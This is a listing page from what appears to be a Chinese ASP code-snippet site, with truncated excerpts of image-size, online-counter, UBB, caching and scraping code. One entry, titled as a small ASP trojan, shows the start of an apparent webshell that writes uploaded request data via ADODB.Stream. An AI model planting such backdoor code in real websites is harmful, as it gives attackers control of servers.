搜索列表
-
获取图片宽度和高度的类，支持JPG，GIF，PNG，BMP
【ASP编程】<% Class ImgWHInfo ''获取图片宽度和高度的类，支持JPG，GIF，PNG，BMP Dim ASO Private Sub Class_Initialize Set ASO=Server.CreateObject("ADODB.Stream") ASO.Mode=3 ASO.Type=1 ASO.Open End Sub Private Sub Class_Terminate Err.Clear Set ASO=No...
获取图片宽度和高度的类，支持JPG，GIF，PNG，BMP -
一个ASP小马
【ASP编程】<%if request.QueryString("action")="log" thena=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a):c.Position=0:d=c.Read:e=chrB(13)&chrB(10):f=Instrb(d,e):g=Instrb(f+1,d,e):set h=Createobject(b):h.Type=1:h.Ope...
一个ASP小马 -
如何限制同一用户名同时登陆
【ASP编程】这个问题我的办法是，用户有个活跃时间间隔问题。超过这个活跃时间间隔的则可以认为是离线，后者可以登陆 ，如果无后者登陆，但并不是说前者就需要重新登陆了。因为他的session还在的。只能是这个时间设置的越小越精确，也是不能做到绝对的。代码贴出来给楼主参考下。Function CheckOnline() DIM IP,rsPrv,Sql,PrvDbS...
如何限制同一用户名同时登陆 -
ASP制作在线人数统计实例
【ASP编程】我们先新建一个ＡＣＣＥＳＳ数据库 内容为 表名：zai 字段为 １.ip 2.time 建立一个文件为index.asp 然后就如下程序！ <% '===================================================================================================''******************** 冰翎在线人数统计程序 V2.0 ******************************'' 本...
ASP制作在线人数统计实例 -
统计在线人数 dxy
【ASP编程】<%sessid=session.sessionidtimeout=5 '分钟dim conn,connstr,dbpathdbpath="online.mdb"'connstr="DRIVER={Microsoft Access Driver (*.mdb)};DBQ=" & Server.MapPath(dbpath)connstr="provider=microsoft.jet.oledb.4.0;data source="&server.mappath(dbpath)set conn=server.createobj...
统计在线人数dxy -
自己做采集程序
【ASP编程】现在网上的采集程序很多，但是有时候你发现一个好的网站，想自己做个采集工具采集一些信息，就需要自己去写程序了，其实这样的采集程序并不难写，主要是去分析源网站的网页结构。首先去下载个XMLHTTP的类文件：<%Class xhttpprivate cset,sUrl,sErrorPrivate Sub Class_Initialize()'cset="UTF-8"cset="G...
自己做采集程序 -
巧用缓存提高asp程序的性能
【ASP编程】<!--为了提高Asp程序的性能,人们常常将经常使用的数据缓存在 Application, 但是你修改了数据库后怎么让application更新呢,本文给你提供了一个合理的解决办法,如果谁有更好的算法,请跟帖讨论一下,谢谢 --> <% Class wawa_app_getrows public Function wawa_Get_List(strapp,strconn,strsql) '**********...
巧用缓存提高asp程序的性能 -
ubb js
【正则表达式】strIcons = "1" //允许笑脸转换strSmile="1" //同上ImgName="em"picurl="/images/emot/" function UBBCode(content,html){ content=content.replace("\\r",""); content=content.replace("\\n",""); return (trans(content)...
ubbjs -
超级REAL视频播放器
【网页播放器】<object id="player" name="player" classid="clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA" width="339" height="227"> &n...
超级REAL视频播放器 -
很不错的一个UBB代码
【ASP编程】<%Function HTMLEncode(ByVal strValue) '忽略错误 On Error Resume Next '定义变量 Dim strNewValue If strValue <> "" Then strNewValue = Replace(strValue,"...
很不错的一个UBB代码 -
ASP小偷(远程数据获取)程序入门教程
【ASP编程】这里所说的“小偷”指的是在asp中运用xml中的xmlhttp组件提供的强大功能，把远程网站上的数据（图片，网页及其他文件）抓取到本地，经过各种处理后显示到页面上或者存储进数据库的一类程序。你可以通过这种小偷程序，完成过去一些似乎完全不可能实现的任务，比如说把某个站的页面偷梁换柱后变成自己的页面，或者把某个站的一些...
ASP小偷(远程数据获取)程序入门教程 -
浅谈自动采集程序及入库
【ASP编程】<%'声明取得目标信息的函数,通过XML组件进行实现。Function GetURL(url) Set Retrieval = CreateObject("Microsoft.XMLHTTP") With Retrieval .Open "GET", url, False.Send GetURL = bytes2bstr(.responsebody)'对取得信息进行验证，如果信息长度小于100则说明截取失败if len(.responseb...
浅谈自动采集程序及入库
